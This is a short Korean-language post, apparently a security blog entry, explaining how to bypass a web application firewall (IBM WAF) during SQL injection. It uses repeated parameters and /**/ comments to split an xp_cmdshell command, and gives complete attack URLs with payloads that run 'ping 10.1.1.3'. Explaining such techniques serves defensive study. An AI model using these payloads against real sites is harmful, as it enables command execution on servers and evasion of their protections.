SQL injection 탐지 우회방법
 

IBM Web Application Firewall(WAF)우회 방법으로 소개 되었다.

http://www.exploit-db.com/exploits/17438/

 

/**/주석을 이용한 우회 방법으로 다중 파라미터를 이용한 새로운 아이디어로 공격 구문을 생성한다.

 

공격자가 공격을 할경우 파라미터 한 개에 모두 입력하여 공격하는 경우가 많다.

이렇게 될경우 WAF에서는 대부분 탐지 될 것이고 이를 우회 하기 위한 방법으로 다중 파라미터와 주석을 이용한 방법을 소개한다.

  

일반적인 한개의 파라미터에 SQL-Injection 공격 구문

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" -- 을

이용할 경우 SQL query는'; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --가 되며 탐지되어 Block되지 않는다면 정상적인 공격이 될것이다. 

하지만 대부분 웹방화벽은 탐지하고 차단할 것이다.

 

우회방법으로 다중 파라미터를 이용하는 공격 구문은

http://sitename/find_ta_def.aspx?id=2571&iid='; EXEC master..xp_cmdshell &iid= "ping 10.1.1.3" --  

이러한 방법으로 여러개의 파라미터를 이용하여 우회 시도를 할 수 있다. 하지만 위의 공격 구문은 

'; EXEC master..xp_cmdshell , "ping 10.1.1.3" -- 로 Qurey 사이에 ","가 들어가서 정상적으로 SQL Query가 실행되지 않는다.

또한 한 파라미터에 EXEC xp_cmdshell이 같이 들어갈 경우 탐지 되는 경우도 많이 있기 때문에 분리해 주어야 한다.

다중 파라미터와 주석을 이용한 탐지 시스템 우회 방법은

http://sitename/find_ta_def.aspx?id=2571&iid='; /*&iid=1*/ EXEC /*&iid=1*/ master..xp_cmdshell /*&iid=1*/ "ping 10.1.1.3" /*&iid=1*/ --  

와 같은 공격 구문을 이용하면 우회 할 수 있다.

위 공격 구문은 '; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ "ping 10.1.1.3" /*,1*/ --가 될 것이다. 

이렇게 될경우 /**/사이는 주석으로 인식되어 한 파라미터 EXEC xp_cmdshell 탐지 시그니처와 ","문제를 동시에 해결하여

EXEC master..xp_cmdshell "ping 10.1.1.3" --공격 Query를 실행할 수 있게 된다.

또한 /**/를 사용하여 공격을 하경우 입력된 파라미터의 공백을 제거하는 trim함수 또한 우회하여 공격 구문을 실행 시킬 수 있다.